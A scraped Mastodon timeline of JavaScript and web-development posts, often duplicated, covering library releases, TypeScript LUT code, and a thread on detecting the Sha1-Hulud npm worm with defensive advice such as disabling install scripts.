0.8.0 continues our focus on making CLI development more expressive and type-safe. The conditional() combinator brings discriminated union patterns to the forefront, passThrough() enables new wrapper tool use cases, and the LogTape integration makes logging configuration a breeze. As always, all new features maintain full backward compatibility—your existing parsers continue to work unchanged. We're grateful to the community for feedback and suggestions. If you have ideas for future improvements or encounter any issues, please let us know through GitHub Issues. For more information about Optique and its features, visit the documentation or check out the full changelog.

@Crell@phpc.social

It's really depressing to see so many people and/or job ads talking about how they're using React so heavily for things that don't need React.

Why are we so committed to making things more complicated, and harder to learn, and having fewer skilled people?

And if you're talking about migrating JS frameworks on the front-end, at least *think* about HTMX/etc. for server-controlled rendering. Don't replace one bloat with another.

@Crell@phpc.social

It's really depressing to see so many people and/or job ads talking about how they're using React so heavily for things that don't need React.

Why are we so committed to making things more complicated, and harder to learn, and having fewer skilled people?

And if you're talking about migrating JS frameworks on the front-end, at least *think* about HTMX/etc. for server-controlled rendering. Don't replace one bloat with another.

@kkarhan@infosec.space · Reply to Stuart Langridge

@sil except is a net negative in my experience as it is only good for 3 things:

Tell me i I'm wrong!

@Marconius@mas.to

I may be a little late to the ChatGPT Plus party, but have been finding it rather effective at helping me learn for user interaction and making online games. I'm using it to enhance my on a variety of my personal sites, but have to stay vigilant when it makes recommendations. It has given me bad code, perpetuated poor designs and suggestions for and , and makes pretty strong assumptions about how people use their devices. Helpful, but untrustworthy.

@lcheylus@bsd.network
@lcheylus@bsd.network
@yogthos@social.marxist.network
@nullagent@partyon.xyz

UPDATE - It turns out this "proof of concept" was AI slop code where the AI just made a super vulnerable server instead of any exploit demo. Bc, of course it did.

Original:

There's an epic react server component RCE exploit making the rounds today.

A proof of concept just dropped. Probably wanna patch this rapidly.

github.com/ejpir/CVE-2025-5518

github.com

GitHub - ejpir/CVE-2025-55182-research: CVE-2025-55182 POC

CVE-2025-55182 POC. Contribute to ejpir/CVE-2025-55182-research development by creating an account on GitHub.

@vanillaweb@intuitivefuture.com

Perhaps it’s time to embrace real web open standard .js files which don’t require any build steps or tooling to execute properly, all while utilizing the power combo of JSDoc + tsc to gain all of the benefits of type hints in IDEs and type checking in CI.

Let’s dive into some examples!

thathtml.blog/2025/12/nuances-

thathtml.blog

The Nuances of JavaScript Typing using JSDoc

Perhaps it’s time to embrace real web open standard .js files which don’t require any build steps or tooling to execute properly, all while utilizing the power combo of JSDoc + tsc to gain all of the benefits of type hints in IDEs and type checking in CI.

@vanillaweb@intuitivefuture.com

Perhaps it’s time to embrace real web open standard .js files which don’t require any build steps or tooling to execute properly, all while utilizing the power combo of JSDoc + tsc to gain all of the benefits of type hints in IDEs and type checking in CI.

Let’s dive into some examples!

thathtml.blog/2025/12/nuances-

thathtml.blog

The Nuances of JavaScript Typing using JSDoc

Perhaps it’s time to embrace real web open standard .js files which don’t require any build steps or tooling to execute properly, all while utilizing the power combo of JSDoc + tsc to gain all of the benefits of type hints in IDEs and type checking in CI.

@toxi@mastodon.thi.ng

Neither nor seemingly support 1D LUTs, which would have been too easy and useful for my preparation tool... Instead they both insist on using only 3D LUTs. Converting 1D to 3D takes a bit more effort, but thanks to thi.ng/transducers, it's still very easy...

Syntax color highlighted TypeScript source code:

```
import {
	cycle,
	map,
	normRange,
	permutations,
	str,
	take,
	transduce,
} from "@thi.ng/transducers";

// LUT size (number of samples per axis)
const N = 9;

// example curve of N samples in [0,1] range
// (the curve here is y = x^1.2, i.e. a basic darken effect)
const curve = [...map((x) => (x ** 1.2).toFixed(4), normRange(N - 1))];

// compute cartesian product to produce RGB tuples
const lut = permutations(curve, curve, curve);

// alternatively, create LUT which also converts to grayscale...
// const lut = take(N * N * N, cycle(map((x) => [x, x, x], curve)));

// convert LUT samples to .cube format
// (flip order of each tuple since red channel needs change fastest)
const cube = transduce(
	map((x) => x.reverse().join(" ")),
	str("\n"),
	lut
);

// output LUT with header
console.log(`TITLE "example"
LUT_3D_SIZE ${N}
DOMAIN_MIN 0 0 0
DOMAIN_MAX 1 1 1
${cube}
`);
```
ALT text

Syntax color highlighted TypeScript source code: ``` import { cycle, map, normRange, permutations, str, take, transduce, } from "@thi.ng/transducers"; // LUT size (number of samples per axis) const N = 9; // example curve of N samples in [0,1] range // (the curve here is y = x^1.2, i.e. a basic darken effect) const curve = [...map((x) => (x ** 1.2).toFixed(4), normRange(N - 1))]; // compute cartesian product to produce RGB tuples const lut = permutations(curve, curve, curve); // alternatively, create LUT which also converts to grayscale... // const lut = take(N * N * N, cycle(map((x) => [x, x, x], curve))); // convert LUT samples to .cube format // (flip order of each tuple since red channel needs change fastest) const cube = transduce( map((x) => x.reverse().join(" ")), str("\n"), lut ); // output LUT with header console.log(`TITLE "example" LUT_3D_SIZE ${N} DOMAIN_MIN 0 0 0 DOMAIN_MAX 1 1 1 ${cube} `); ```

@catswords_oss@catswords.social
@ngate@mastodon.social

🚨 Breaking News: R enthusiasts celebrate the groundbreaking achievement of finally getting R to run in a browser... by enabling . 🎉 Because, of course, nothing screams like making a heavyweight statistical tool rely on a glorified calculator script. 🤦‍♂️
webr.sh/

webr.sh

webR - R in the browser

Interactive R environment running in your browser. Execute R code, create plots, and analyze data without installing anything.

@nullagent@partyon.xyz · Reply to nullagent

These sorts of NPM worms have been around for a LONG time.

It's typically due a common practice of low 2fa opt-in on NPM accounts.

So be sure to setup NPM 2FA if you're a package maintainer do that asap!

A lesser known NPM capability is that you can disable install time scripts. This may break some packages but its worth a try to see if your projects can work with out any install scripts. 👇🏿

blog.npmjs.org/post/1417028810

Package install scripts vulnerability
Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later.

As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user.

npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down.

How to protect yourself
If you are installing a package that you do not trust, you can avoid this vulnerability by running

npm install --ignore-scripts

If you wish to never run scripts at install time, you can instead run

npm config set ignore-scripts true

Either or both of these steps will prevent you from spreading a worm at install time.

If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.
ALT text

Package install scripts vulnerability Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later. As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user. npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down. How to protect yourself If you are installing a package that you do not trust, you can avoid this vulnerability by running npm install --ignore-scripts If you wish to never run scripts at install time, you can instead run npm config set ignore-scripts true Either or both of these steps will prevent you from spreading a worm at install time. If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.

@nullagent@partyon.xyz · Reply to nullagent

Just finished writing another tool, now I can see NINE known compromised packages are still up for download on NPM! ⚠️

This tool crawls the list of known bad packages and downloads the latest bundle.

It then runs my other checks against the downloaded bundle and logs the results.

github.com/datapartyjs/walk-wi

./is-npm-still-dangerous
Reads the data/infected-pkgs.txt
Downloads the latest package metadata for every known infected package
Downloads the current latest package.tgz
Uncompresses and scans the latest version using ./check-projects
Depending upon the scan result
./is-npm-still-dangerous

capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED
haufe-axera-api-client 0.0.2 - STILL COMPROMISED
hyper-fullfacing 1.0.3 - STILL COMPROMISED
@ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED
my-saeed-lib 0.1.1 - STILL COMPROMISED
quickswap-ads-list 1.0.33 - STILL COMPROMISED
@seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED
tcsp 2.0.2 - STILL COMPROMISED
web-types-lit 0.1.1 - STILL COMPROMISED
web-types-lit 0.1.1 - STILL COMPROMISED
Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised!

See npm-reports/npm-latest-bad.txt for full listing.
Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)
ALT text

./is-npm-still-dangerous Reads the data/infected-pkgs.txt Downloads the latest package metadata for every known infected package Downloads the current latest package.tgz Uncompresses and scans the latest version using ./check-projects Depending upon the scan result ./is-npm-still-dangerous capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED haufe-axera-api-client 0.0.2 - STILL COMPROMISED hyper-fullfacing 1.0.3 - STILL COMPROMISED @ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED my-saeed-lib 0.1.1 - STILL COMPROMISED quickswap-ads-list 1.0.33 - STILL COMPROMISED @seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED tcsp 2.0.2 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised! See npm-reports/npm-latest-bad.txt for full listing. Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)

@nullagent@partyon.xyz · Reply to nullagent

Just finished writing another tool, now I can see NINE known compromised packages are still up for download on NPM! ⚠️

This tool crawls the list of known bad packages and downloads the latest bundle.

It then runs my other checks against the downloaded bundle and logs the results.

github.com/datapartyjs/walk-wi

./is-npm-still-dangerous
Reads the data/infected-pkgs.txt
Downloads the latest package metadata for every known infected package
Downloads the current latest package.tgz
Uncompresses and scans the latest version using ./check-projects
Depending upon the scan result
./is-npm-still-dangerous

capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED
haufe-axera-api-client 0.0.2 - STILL COMPROMISED
hyper-fullfacing 1.0.3 - STILL COMPROMISED
@ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED
my-saeed-lib 0.1.1 - STILL COMPROMISED
quickswap-ads-list 1.0.33 - STILL COMPROMISED
@seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED
tcsp 2.0.2 - STILL COMPROMISED
web-types-lit 0.1.1 - STILL COMPROMISED
web-types-lit 0.1.1 - STILL COMPROMISED
Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised!

See npm-reports/npm-latest-bad.txt for full listing.
Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)
ALT text

./is-npm-still-dangerous Reads the data/infected-pkgs.txt Downloads the latest package metadata for every known infected package Downloads the current latest package.tgz Uncompresses and scans the latest version using ./check-projects Depending upon the scan result ./is-npm-still-dangerous capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED haufe-axera-api-client 0.0.2 - STILL COMPROMISED hyper-fullfacing 1.0.3 - STILL COMPROMISED @ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED my-saeed-lib 0.1.1 - STILL COMPROMISED quickswap-ads-list 1.0.33 - STILL COMPROMISED @seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED tcsp 2.0.2 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised! See npm-reports/npm-latest-bad.txt for full listing. Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)

@nullagent@partyon.xyz · Reply to nullagent

I've spent the last few hours writing down my scripts for detecting this so you can use them!

I'm hitting on two or three ways to detect it and will be adding more.

Watching the attack running I can see developers all over the world still doing their morning `npm i` and getting owned 😭

Maybe let the node developers in your life know about this tool 👇🏿

github.com/datapartyjs/walk-wi

github.com

GitHub - datapartyjs/walk-without-rhythm: A tool to check your repos for signs of NPM supply chain attack

A tool to check your repos for signs of NPM supply chain attack - GitHub - datapartyjs/walk-without-rhythm: A tool to check your repos for signs of NPM supply chain attack

@nullagent@partyon.xyz · Reply to nullagent

Updated my listing of Sha1-Hulud detection tools.

I now have found at least 12 other tools for detecting Sha1-Hulud compromise on your dev box and in infrastructure.

github.com/datapartyjs/walk-wi

Similar Sha1-Hulud 11/24/25 Detection Tools
Links to other projects provided with no warranty express or implied.

https://github.com/TimothyMeadows/sha1hulud-scanner
https://github.com/mottibec/sha1hulud-scanner
https://github.com/gensecaihq/Shai-Hulud-2.0-Detector
https://github.com/tprinty/sha1hulud-action-detector
https://github.com/da1z/amihulud
https://github.com/bobberg/sha1-hulud-folder-checker
https://github.com/servusdei2018/sha1-halud-scan
https://github.com/kevcooper/fremkit
https://github.com/ysskrishna/shai-hulud-detector
https://github.com/Cobenian/shai-hulud-detect
GitHub Scanners
https://github.com/ysskrishna/shai-hulud-detector
panther-labs/panther-analysis#1826
ALT text

Similar Sha1-Hulud 11/24/25 Detection Tools Links to other projects provided with no warranty express or implied. https://github.com/TimothyMeadows/sha1hulud-scanner https://github.com/mottibec/sha1hulud-scanner https://github.com/gensecaihq/Shai-Hulud-2.0-Detector https://github.com/tprinty/sha1hulud-action-detector https://github.com/da1z/amihulud https://github.com/bobberg/sha1-hulud-folder-checker https://github.com/servusdei2018/sha1-halud-scan https://github.com/kevcooper/fremkit https://github.com/ysskrishna/shai-hulud-detector https://github.com/Cobenian/shai-hulud-detect GitHub Scanners https://github.com/ysskrishna/shai-hulud-detector panther-labs/panther-analysis#1826

@nullagent@partyon.xyz · Reply to nullagent

I've updated my suggestions to include links and info on how to get fine grained control over the scripts your projects run at compile time.

There's two fairly interesting community projects that seem to address this part of the problem and make it possible to disable most install scripts while keeping the ones your project actually requires.

github.com/datapartyjs/walk-wi

Steps to take
Turn on Multi-Factor Authentication (MFA / 2FA) immediately on your NPM & GitHub accounts (and all other key infra). Change and review passwords for cloud services you use.
You probably shouldn't run any npm install or npm update commands until NPM and GitHub have official mitigations in place.
Before doing anything else you probably should check for signs of comproise. This can be done manually or using this repo or other similar scanning tools. If you DO continue working from an infected machine you risk having your personal data stolen or destroyed by this worm.
After verifying that your system has not already been compromised you can likely safely work as normal but you should avoid upgrading or installing any different package versions. Its not fully clear at the time of posting if NPM is taking down infected packages we're still finding infected packages for download on NPM at this time.
Before installing a new version of a package, you can download a .tgz archive using the command npm pack <package-name>. This does not install the package. You can then uncompress the package and check it for signs of compromise.
Consider disabling install scripts
npm install --ignore-scripts - Ignore install scripts
npm config set ignore-scripts true - Ignore install scripts user wide
"Package install scripts vulnerability" - NPM blog post from 2016 explaining worm mitigations
Consider using a tool for fine grained script management
ALT text

Steps to take Turn on Multi-Factor Authentication (MFA / 2FA) immediately on your NPM & GitHub accounts (and all other key infra). Change and review passwords for cloud services you use. You probably shouldn't run any npm install or npm update commands until NPM and GitHub have official mitigations in place. Before doing anything else you probably should check for signs of comproise. This can be done manually or using this repo or other similar scanning tools. If you DO continue working from an infected machine you risk having your personal data stolen or destroyed by this worm. After verifying that your system has not already been compromised you can likely safely work as normal but you should avoid upgrading or installing any different package versions. Its not fully clear at the time of posting if NPM is taking down infected packages we're still finding infected packages for download on NPM at this time. Before installing a new version of a package, you can download a .tgz archive using the command npm pack <package-name>. This does not install the package. You can then uncompress the package and check it for signs of compromise. Consider disabling install scripts npm install --ignore-scripts - Ignore install scripts npm config set ignore-scripts true - Ignore install scripts user wide "Package install scripts vulnerability" - NPM blog post from 2016 explaining worm mitigations Consider using a tool for fine grained script management

@nullagent@partyon.xyz
@nullagent@partyon.xyz · Reply to nullagent

These sorts of NPM worms have been around for a LONG time.

It's typically due a common practice of low 2fa opt-in on NPM accounts.

So be sure to setup NPM 2FA if you're a package maintainer do that asap!

A lesser known NPM capability is that you can disable install time scripts. This may break some packages but its worth a try to see if your projects can work with out any install scripts. 👇🏿

blog.npmjs.org/post/1417028810

Package install scripts vulnerability
Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later.

As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user.

npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down.

How to protect yourself
If you are installing a package that you do not trust, you can avoid this vulnerability by running

npm install --ignore-scripts

If you wish to never run scripts at install time, you can instead run

npm config set ignore-scripts true

Either or both of these steps will prevent you from spreading a worm at install time.

If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.
ALT text

Package install scripts vulnerability Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later. As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user. npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down. How to protect yourself If you are installing a package that you do not trust, you can avoid this vulnerability by running npm install --ignore-scripts If you wish to never run scripts at install time, you can instead run npm config set ignore-scripts true Either or both of these steps will prevent you from spreading a worm at install time. If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.

@nullagent@partyon.xyz · Reply to nullagent

Just finished landing Exit Code support. So now if more scanners are made or one of the projects gets more features you can quickly switch to whichever makes the most sense for your use case!

I literally lost a ton of sleep on this volunteer incident response work so I'm going to go touch grass for a bit.

More hacks later tonight, still got some loose ends gnawing at me lol.

github.com/datapartyjs/walk-wi

github.com

GitHub - datapartyjs/walk-without-rhythm: A tool to check your repos for signs of NPM supply chain attack using BASH

A tool to check your repos for signs of NPM supply chain attack using BASH - datapartyjs/walk-without-rhythm

@nullagent@partyon.xyz · Reply to nullagent

At the end of scanning for obvious compromise the `check-projects` script then builds a listing of all of your dependencies and all of the versions your project files mention.

You can find that info under `reports/`

I'm currently working on improving the `check-projects` script so that it will alert you if ANY of your package.json or package-lock.json mentions a known infected package.

@toxi@mastodon.thi.ng

— Earlier today, I published thi.ng/arcball, a small new package providing an intuitive click & drag 3D camera view controller which is completely agnostic from any UI/drawing/rendering framework. The library simply provides the (quaternion) maths to translate gesture events into rotations and then computes a view matrix (presumably for WebGL/WebGPU).

The code is ported from the old 2016 Clojure implementation in thi.ng/geom-clj, which itself is based on a 1992 paper (link in readme). Behind the scenes it uses thi.ng/matrices and thi.ng/vectors for various math ops.

There's also a small new example project to show how to use it (mouse & touch events are enabled, but zooming only works via scroll gestures on touchpad or mousewheel):

demo.thi.ng/umbrella/webgl-arc

demo.thi.ng

webgl-arcball · @thi.ng/umbrella

@nullagent@partyon.xyz · Reply to nullagent

First pass is super simple and just looks for the file names & package.json signature for signs of infection anywhere in the path you tell it to search.

If it sees anything fishy it tells you where and stops until you've read the alert.

Oh and this only uses bash, sed, awk, grep, curl, and jq. So no npm, node or other big supply chains 🥴

github.com/datapartyjs/walk-wi

@nullagent@partyon.xyz · Reply to nullagent

Woot ok now that I have the dependency graph crawled I can just ship the listing of known bad NPM packages and just compare directly against that.

I updated the scanning script to alert if you have -any- version of an infected package.

You're gonna want to be very careful if you're not infected but have one of these dependencies present.

github.com/datapartyjs/walk-wi

@nullagent@partyon.xyz · Reply to nullagent

At the end of scanning for obvious compromise the `check-projects` script then builds a listing of all of your dependencies and all of the versions your project files mention.

You can find that info under `reports/`

I'm currently working on improving the `check-projects` script so that it will alert you if ANY of your package.json or package-lock.json mentions a known infected package.

@nullagent@partyon.xyz · Reply to nullagent

First pass is super simple and just looks for the file names & package.json signature for signs of infection anywhere in the path you tell it to search.

If it sees anything fishy it tells you where and stops until you've read the alert.

Oh and this only uses bash, sed, awk, grep, curl, and jq. So no npm, node or other big supply chains 🥴

github.com/datapartyjs/walk-wi

@nullagent@partyon.xyz · Reply to nullagent

I'm quickly finding a mix of packages which were compromised, some were months ago and had the bad versions taken down.

However at the same time I'm noticing packages like the one below that were -just- hacked 19 hours ago and still have not been taken down yet!

With how this worm works its a bit of a pencils down moment... you probably should check your packages right now.

npmjs.com/package/capacitor-vo

@nullagent@partyon.xyz · Reply to nullagent

I've spent the last few hours writing down my scripts for detecting this so you can use them!

I'm hitting on two or three ways to detect it and will be adding more.

Watching the attack running I can see developers all over the world still doing their morning `npm i` and getting owned 😭

Maybe let the node developers in your life know about this tool 👇🏿

github.com/datapartyjs/walk-wi

github.com

GitHub - datapartyjs/walk-without-rhythm: A tool to check your repos for signs of NPM supply chain attack

A tool to check your repos for signs of NPM supply chain attack - GitHub - datapartyjs/walk-without-rhythm: A tool to check your repos for signs of NPM supply chain attack

@nullagent@partyon.xyz · Reply to nullagent

I'm quickly finding a mix of packages which were compromised, some were months ago and had the bad versions taken down.

However at the same time I'm noticing packages like the one below that were -just- hacked 19 hours ago and still have not been taken down yet!

With how this worm works its a bit of a pencils down moment... you probably should check your packages right now.

npmjs.com/package/capacitor-vo

@manlycoffee@techhub.social

I'm thinking of using EntityDB for in-browser local embeddings.

No idea if this is a good idea.

The API seems quite straightforward.

I don't even need to spin up Hugging Face (transformers.js) myself. It just takes text and runs the embedding for me.

Any other recommendations?

github.com/babycommando/entity

github.com

GitHub - babycommando/entity-db: EntityDB is an in-browser vector database wrapping indexedDB and Transformers.js over WebAssembly

EntityDB is an in-browser vector database wrapping indexedDB and Transformers.js over WebAssembly - babycommando/entity-db

@soatok@furry.engineer

Moving Beyond the NPM elliptic Package

If you're in a hurry, head on over to soatok/elliptic-to-noble and follow the instructions in the README in order to remove the elliptic package from your project and all dependencies in node_modules. Art: CMYKat Why replace the elliptic package? Yesterday, the Trail of Bits blog published an intern's post about finding cryptographic bugs in the elliptic library (a Javascript package on NPM) by using the Wycheproof.

soatok.blog/2025/11/19/moving-

soatok.blog

Moving Beyond the NPM elliptic Package - Dhole Moments

If you’re in a hurry, head on over to soatok/elliptic-to-noble and follow the instructions in the README in order to remove the elliptic package from your project and all dependencies in node…

@toxi@mastodon.thi.ng

Wow, just noticed reached 3700 stars on GitHub — I'm celebrating... 🤩🫠

Heartfelt thanks to all of you who've been helping along the way (in any shape & form) and been supporting this work for all these years and across different programming languages/camps! Merci beaucoup!!! Esp. big Thank You's to fellow fediverse people/supporters from various stages of this project: @avi, @made, @lurvey, @alesroubicek, @brandtryan, @latrokles, @rc101, @jeffpalmer, @jack, @Yura, @danielrothaug, @computersandblues, @shiffman... (apologies if I forgot you/others here!) 🙏😍

Not counting the earlier years spent on my related toxiclibs library collection for Java/Processing (developed between ~2006-2012), the larger thi.ng project is now 14+ years old, starting with various 2D/3D geometry and dataviz-related libraries for Clojure/ClojureScript in 2011.

Since 2018 the main focus has been thi.ng/umbrella, a monorepo collection of (so far) 210+ projects/libraries. It will be 8 years old in January and covers an extremely wide spectrum of topics, use cases, data structures and techniques (take a look at the tag cloud on the thi.ng website or the tag browser[1] to explore the scope and related projects).

These 200+ main libraries are NOT forming a monolithic framework and can largely be used individually. However, many of these libraries are complementing each other, or are structured to be composable, expose related functionality at different levels of abstraction and/or are heavily re-use functionality to ensure high code density and small bundle sizes when building large(r) projects. 99% of the packages have NO 3rd party runtime dependencies... The umbrella meta-project also includes 185 commented standalone example projects, hundreds of code snippets in documentation and readme files, illustrating other possible usage & composition patterns.

The total code size of this project is now around 3850 source files, 140k lines of code and 71k lines of comments/docstrings. The example projects add in total another ~35k lines of code & comments. The average package readme size is 11.8KB. 99.9% of this all has been created & maintained by yours truly...

There're still so many unreleased (and useful/interesting!) parts of functionality I've been working on and still need to figure out how to best refactor and package them up (bit by bit) before releasing... we're not done just yet!

There seemingly are quite a few active users (~1.8 million of combined installs per month) and it's so pleasing to see how these tools have matured, are stable/reliable[2] and it confirms to me these efforts were all somehow worth it. Especially this year, I've also spent a lot more time myself using these packages in production, mostly for client projects, but also my own (some of which will be open sourced too). Of course, we all have our own particular likes and preferences for our own tools, but for my kind of work/workflows, provides some of the most varied, productive, _composable_ and malleable tools I've ever used...

Happy coding! 🙌

[1] demo.thi.ng/umbrella/thing-bro

[2] ...even many of those packages which still manage to have a v0.x.y version number, often for years already! My release tool only creates new major versions when there're breaking changes, so if the API is already stable, the version stays at 0.x — I just need to manually bump some of them to a v1.0... 😅

@soatok@furry.engineer

Moving Beyond the NPM elliptic Package

If you're in a hurry, head on over to soatok/elliptic-to-noble and follow the instructions in the README in order to remove the elliptic package from your project and all dependencies in node_modules. Art: CMYKat Why replace the elliptic package? Yesterday, the Trail of Bits blog published an intern's post about finding cryptographic bugs in the elliptic library (a Javascript package on NPM) by using the Wycheproof.

soatok.blog/2025/11/19/moving-

soatok.blog

Moving Beyond the NPM elliptic Package - Dhole Moments

If you’re in a hurry, head on over to soatok/elliptic-to-noble and follow the instructions in the README in order to remove the elliptic package from your project and all dependencies in node…

@JanMiksovsky@fosstodon.org

has a `Map` class for holding key/value pairs, but it’s underused and underappreciated. If you fix the class’ limitations, you can use `Map` as a building block to create really interesting things — like a build system for a site.

jan.miksovsky.com/posts/2025/1

jan.miksovsky.com

Fixing the under-appreciated JavaScript Map class and using it to construct a build system

JavaScript has a Map class for holding key/value pairs, but it’s underused and underappreciated.

@JanMiksovsky@fosstodon.org

has a `Map` class for holding key/value pairs, but it’s underused and underappreciated. If you fix the class’ limitations, you can use `Map` as a building block to create really interesting things — like a build system for a site.

jan.miksovsky.com/posts/2025/1

jan.miksovsky.com

Fixing the under-appreciated JavaScript Map class and using it to construct a build system

JavaScript has a Map class for holding key/value pairs, but it’s underused and underappreciated.

@toxi@mastodon.thi.ng

— Thanks to a user suggestion, I've added support for declarative canvas pixel density adjustments in the following packages:

- thi.ng/hiccup-canvas
- thi.ng/hdom-canvas
- thi.ng/rdom-canvas

By default canvas components defined via the latter two packages are defaulting to use the current `window.devicePixelRatio`, but this can now be overridden via the new `__dpr` control attribute to force a certain pixel density. For example, set it to 4 to create a 4x larger canvas in terms of pixel dimensions, but keep the apparent display size the same. Likewise, for performance reasons, it might be useful to keep the pixel density at 1 (or lower), even if the current screen would have a higher density.

More info in this readme section (the hiccup-canvas package is the shared "low-level" backend for the other two UI packages, which also have updated readmes):

docs.thi.ng/umbrella/hiccup-ca

Btw. There were also several other recent additions/releases, but since there're hardly ever any reactions to these announcements, I've reduced my messages about project updates posted here. Please let me know if I should change my mind... :)

docs.thi.ng

@thi.ng/hiccup-canvas

Documentation for @thi.ng/hiccup-canvas

@wezm@mastodon.decentralised.social

Love it when a near complete project just appears out of nowhere.

"Brimstone is a JavaScript engine written from scratch in Rust, aiming to have full support for the JavaScript language.

Brimstone is a work in progress but already supports almost all of the JavaScript language (>97% of the ECMAScript language in test262). Not ready for use in production."

github.com/Hans-Halverson/brim

github.com

GitHub - Hans-Halverson/brimstone: New JavaScript engine written in Rust

New JavaScript engine written in Rust. Contribute to Hans-Halverson/brimstone development by creating an account on GitHub.

@wezm@mastodon.decentralised.social

Love it when a near complete project just appears out of nowhere.

"Brimstone is a JavaScript engine written from scratch in Rust, aiming to have full support for the JavaScript language.

Brimstone is a work in progress but already supports almost all of the JavaScript language (>97% of the ECMAScript language in test262). Not ready for use in production."

github.com/Hans-Halverson/brim

github.com

GitHub - Hans-Halverson/brimstone: New JavaScript engine written in Rust

New JavaScript engine written in Rust. Contribute to Hans-Halverson/brimstone development by creating an account on GitHub.

@jnkrtech@treehouse.systems

New blog post is up! This is a deep dive into continuation-passing style in TypeScript. (No, I'm not talking about asynchronous callbacks.)

jnkr.tech/blog/cps-in-ts

Let me know what you think and if you have any questions I can answer!

jnkr.tech

Continuation-Passing Style in TypeScript · Programming should be enjoyable

Tail recursion, resumable exceptions, and more

@toxi@mastodon.thi.ng

Maybe a good opportunity to illustrate the purpose of one of the more uncommon packages in : The thi.ng/hex package provides hexadecimal formatters for a variety of word sizes (4-64 bits) and also a customizable hex dump facility, which is super useful for analyzing, debugging & reverse engineering binary data or file formats from within a NodeJS REPL session (my main dev env & workflow), but of course can also be used in other situations... This has already saved me countless of times...

Cropped screensho of a NodeJS REPL session showing an hexdump of a chunk of binary PDF data (trying to analyze why an earlier parse error occurred...)
ALT text

Cropped screensho of a NodeJS REPL session showing an hexdump of a chunk of binary PDF data (trying to analyze why an earlier parse error occurred...)

@bojidar_bg@mastodon.social

LibreOffice's JavaScript macros are quite powerful! Much impressed!

Also, they are quite hard to get started with. What I've learned: bojidar-bg.dev/blog/2025-11-11

Screen recording of a user interacting with a document titled "Wordle in LibreOffice". The user clicks a button labeled "Start!", which shows a short animation of "Wordle in LibreOffice, Implemented in JavaScript". The user then inputs a number of words, starting with begin, then dozen, then raven, and finally taken. After making a new line after each word, the word gets highlighted in gray, yellow, and green, corresponding to the incorrect / misplaced / correct letters of that word. In the end, after another animation, the game displays "Well done! 4 / 6".
ALT text

Screen recording of a user interacting with a document titled "Wordle in LibreOffice". The user clicks a button labeled "Start!", which shows a short animation of "Wordle in LibreOffice, Implemented in JavaScript". The user then inputs a number of words, starting with begin, then dozen, then raven, and finally taken. After making a new line after each word, the word gets highlighted in gray, yellow, and green, corresponding to the incorrect / misplaced / correct letters of that word. In the end, after another animation, the game displays "Well done! 4 / 6".

@bojidar_bg@mastodon.social

LibreOffice's JavaScript macros are quite powerful! Much impressed!

Also, they are quite hard to get started with. What I've learned: bojidar-bg.dev/blog/2025-11-11

